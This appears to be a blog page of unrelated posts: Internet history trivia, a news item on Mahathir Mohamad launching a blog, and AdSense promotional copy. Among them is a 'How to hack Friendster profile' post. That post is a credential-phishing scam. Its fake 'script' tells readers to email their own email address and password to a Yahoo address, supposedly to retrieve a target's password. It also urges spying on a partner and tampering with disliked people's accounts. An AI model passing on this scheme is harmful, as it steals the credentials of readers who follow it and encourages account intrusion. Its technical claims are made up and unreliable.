10 Facts About The Internet You Should Know!

You probably use it every day but how well do you know your Internet?

Ever wonder how all this foolishness got started in the first place and why? How big it really is? How many present users there are? The average time spent on a website? Here are 10 facts you might or might not want to know about the Internet.

1. Who coined the phrase 'World Wide Web'?

Tim Berners-Lee in 1990. He's also considered by most people as the person who started the whole thing rolling.

2. How did the Internet Start and Why?

It all started with the time-sharing of IBM computers in the early 60's at universities such as Dartmouth and Berkeley in the States. People would share the same computer for their computing tasks. The Internet also received help from Sputnik! After this Russian Satellite was launched in 1957; President Eisenhower formed ARPA to advance computer networking and communication.

3. Who was J.C.R. Licklider?

Licklider is often referred to as the father of the Internet because his ideas of interactive computing and a "Galactic Network" were the seeds for the Internet. His ideas would be developed thru DARPA,(Defense Advanced Research Projects Agency) in 1962. Later he would help form ARPANET and the Internet was on it's way.

4. What was ARPANET?

ARPANET stands for 'Advanced Research Projects Agency Network' Came about in the arena of Sputnik and the cold war. The military needed a method of communicating and sharing all the information on computers for research and development. It would also be a handy communication system if all traditional ways were wiped out in a nuclear attack!

5. What was the First long distance Connection?

In 1965 using a low speed dial-up telephone line, MIT researcher Lawrence G. Roberts working with Thomas Merrill, connected the TX-2 computer in Massachusetts to the Q-32 in California. The phone lines weren't quite up to the task.

6. Who was Leonard Kleinrock?

Kleinrock came up with the theory of packet switching, the basic form of Internet connections. With a group of UCLA graduate students on Oct. 29, 1969, Kleinrock connected with the Stanford Research Institute but as they typed in the G in LOGIN -- the system crashed!

7. What is an Ethernet?

It's a protocol or standards for a set of computer networking technologies for local area networks (LANs), the origins of which came from Bob Metcalfe's Harvard's dissertation on "Packet Networks".

8. When was the first mouse introduced?

The first computer mouse was introduced in 1968 by Douglas Engelbart at the Fall Joint Computer Expo in San Francisco.

9. Did Al Gore really invent the Internet?

No, but give credit where credit is due. He did the most of any elected official to actively promote the Internet. However, he wasn't even in Congress when ARPANET was formed in 1969 or even when the term 'Internet' came into use in 1974. Gore was first elected in 1976.
Gore himself may be the cause of this Urban Legend or Internet myth - during a Wolf Blitzer CNN interview on March 9, 1999 - Al Gore did say: "During my service in the United States Congress, I took the initiative in creating the Internet."
Causing himself some ridicule but also paving the way for such future one-liners as: "I invented the environment!"

10. Who coined the phrase 'information superhighway'?

Wikipedia says Nam June Paik coined the phrase "information superhighway" in 1974.
Al Gore popularized the phrase in the early 1990's

The Malaysian Ex'PM becomes blogger!


Malaysia's ex-prime minister Mahathir Mohamad on Thursday launched his own blog, becoming the latest among many politicians who are crowding cyberspace to air their views.

The 81-year-old Mahathir, whose daughter Marina also blogs, was criticised for suppressing press freedoms during his 22-year tenure and clamped down on dissenting voices through strict media laws.

His first entry questioned the move to appoint an independent commission to appoint judges, recently announced by Prime Minister Abdullah Ahmad Badawi.

"He has been mulling over this for several weeks and he has now decided to go ahead with it," Mahathir's aide Sufi Yusoff told AFP.

In his introductory note on the blog, www.chedet.com, Mahathir said the site was "dedicated to publishing my writings as and when I am able to pen my thoughts and opinion.""Che Det" is Mahathir's nickname as a child and his pen name.

Mahathir has emerged as Abdullah's harshest critic since the ruling Barisan Nasional government coalition suffered its worst-ever results in March 8 polls that left five states and a third of parliamentary seats in opposition hands.

In his post, Mahathir said the constitution would have to be amended before a commission could appoint judges, which would require a two-thirds majority in parliament, which the government does not have.

Mahathir's foray into the blogosphere follows similar moves by opposition leaders, most prominent among them Lim Kit Siang from the Democratic Action Party, who was one of the first politicians to harness blogs and websites to reach voters.

Abdullah has admitted that his biggest mistake in the recent disastrous elections was to ignore cyber-campaigning.

After the polls, many government lawmakers started their own blogs as an outlet to express their views and interact with constituents.

Malaysia's mainstream media are mostly part-owned by parties in the ruling coalition, and opposition views are almost never reported in a positive light.

Malaysia's prominent blogger Ahiruddin Atan on Thursday lauded Mahathir's blog and said: "Blogosphere will never be the same again."

How to hacks Friendster Profile!

Hacking friendster/myspace is as easy as sending an email.


Have you ever asked for your password from friendster? This system
confuses that same system.

Just email to :

fs_pwd_retrieve@yahoo.com

subj: friendster_pwd_ret

body of ur e-mail:
var return[snd_mail] = put your email here@yahoo.com
var enterpass_md5 = your password here your e-mail password to identify
that u have a valid e-mail account
Fcn7662Nc2A_md5encryp_get_pass(TheIDofthepassyouwant) ----->yahoo id of
the account you wanna hack

**delete the green words

**place your email,pass n id of the pass u you want 2 hack in the red words




This confuses the server to, email you the persons password.
All that is required is that you copy that script exactly!
Here is an example reply that you will get after successfully
retrieving the password of the desired person.


scrollbars=yes"); var return = b...@yahoo.com;---->your e-mail
var enterpass = drowssap;------> your password
Fcn7662Nc2A_md5encryp_get_pass(joe14469);
var_ret_pass=imhappy68---------> joel's password


In a matter of minutes you will have joe14469's password!


IF YOUR EFFORT DOESNT WORK~ JUST GO TO THIS LINK AND BUY THE HACKING GUIDE INCLUDED WITH FRIENDSTER HACKING AT $5.95

The Link is :-


How It works:

The program normally would read your login name find your password with
functions setup by friendtser and re-email
it to you. This time you are the one writing the message so you can
manipulate the arguments of the functions.
The code above resets the original variables in the function to alter
the route of the sent password and user
who queries the server. Basically it's as if they sent the request for
their password but it logs you in as the
receiver. This is intended to be used only by system administrators to
ban users or to bust illegal porn and drug sites.
This is a first hand source and should not be used for illegal purposes
other than password recovery of your own account.
Any unlawful activity is your own responsibility and no one else. Note
that if incorrectly sent (either login or syntax)
the message is not replied to and due to the thousands of emails sent
to the address each day it's not moderated by an
administrator.

*for those who don't know yahoo is the backdoor pass for password
retrievals including friendster and my space
because, their system has still a lot of loop holes to be solved...
before they get this fixed.... im sharing this
information to all who are interested.... bec. sometimes you just don't
know when you will need this...
for a cheater bf or gf perhaps? or the enemies that you wanna get
even...this is your chance....
the risk is yours... after all you just live your life once...


This works.. i have tried it several times to peek into my gf's account
to see what she's hiding...
and to just mess the friendster accounts of the people who i don't
like....

This is not a spam!

Google Adsense


Google AdSense is the program that can give you advertising revenue from each page on your website—with a minimal investment in time and no additional resources.
AdSense delivers relevant text and image ads that are precisely targeted to your site and your site content. And when you add a Google search box to your site, AdSense delivers relevant text ads that are targeted to the Google search results pages generated by your visitors’ search request.



Earn more revenue


You can maximize your revenue potential by displaying Google ads on your website. Google puts relevant CPC (cost-per-click) and CPM (cost per thousand impressions) ads through the same auction, and lets them compete against one another. The auction takes place instantaneously, and, when it’s over, AdSense automatically displays the text or image ad(s) that will generate the maximum revenue for a page -- and the maximum revenue for you.



Get started in minutes


Becoming an AdSense publisher is simple. All it takes is a single online application. Once you're approved, AdSense takes only minutes to set-up. Just copy and paste a block of HTML and targeted ads start showing up on your website.


Access thousands of advertisers




With Google's extensive advertiser base, we have ads for all categories of businesses-and for practically all types of content, no matter how broad or specialized. And since Google provides the ads, you have no advertiser relationships to maintain. The AdSense program represents advertisers ranging from large global brands to small and local companies. Ads are also targeted by geography, so global businesses can display local advertising with no additional effort. And you can use AdSense in many languages.


Google grasps the meaning of your content





AdSense can deliver relevant ads because Google understands the meaning of a web page. We've refined our technology, and it keeps getting smarter all the time. For example, words can have several different meanings, depending on context. Google technology grasps these distinctions, so you get more targeted ads.


Make extra money with a Google search box


Place a Google search box on your site, and you can start monetizing the results from web searches. Not only does this keep your users on your website longer—since they can search from where they are—it takes just minutes to implement. And you pay nothing to participate.





Show only appropriate ads


Google's ad review process ensures that the ads you serve are not only family-friendly, but also comply with our strict editorial guidelines. We combine sensitive language filters, your input, and a team of linguists with good hard common sense to automatically filter out ads that may be inappropriate for your content. What's more, you can block competitive ads and choose your own default ads. It's your show from start to finish.

Competitive Filter
Enables you to filter out specific competitors or specific advertisers
Contextual Filter
Eliminate delivery of ads that would be inappropriate to serve on pages


Editorial Review
All Google ads are reviewed and approved before being served on your pages


Filters keep out inappropriateand competitive ads.


Customizable default ads


In the unlikely event that Google is unable to serve targeted ads on your page, we provide the option to display a default ad of your choice .



Customize AdSense for your site



You can customize the appearance of ads, choosing from a wide range of colors and templates. Ditto with your search results page. Your reports are customizable, too. Flexible reporting tools let you group your pages in any way you want so you can view your results by URL, domain, ad type, category and more to learn where your earnings are coming from.



See what Google customers say


“Instead of spending money to hire an additional sales rep to sell ad banners, Google ads have become a virtual sales tool for us. Now we’re able to reap thousands of dollars in additional advertising revenue each month that we would very likely have missed without Google AdSense.” - Robert Hoskins, Editor and Group Publisher, Broadband Wireless Exchange


“Google shows targeted ads reflecting the sorts of information and services SeatGuru visitors want. For a small business like mine, this is the best approach to advertising. You set it up easily, it automatically serves relevant ads, and it takes very little of my time.” - Matt Daimler, Founder, SeatGuru.com


“At the beginning I was very concerned that I might lose traffic to competitors. I only used AdSense on a limited number of the site’s pages, and I watched the stats very carefully. If the traffic, pages per visitor, or conversion rates dropped I knew I could easily pull the ads...Since implementing AdSense, our ad revenue has increased more than tenfold, and 100 percent of my available inventory is now sold through AdSense.” - Vik Kachoria, Entrepreneur, Real Adventure.

Apply now


You can run Google ads on all or just some of your pages, using AdSense strategically to complement your direct sales team. You'll pay nothing, spend little time on set-up, and have no maintenance worries. You can use AdSense for a day, a month or for however long it pleases you to make a profit-it's your choice.
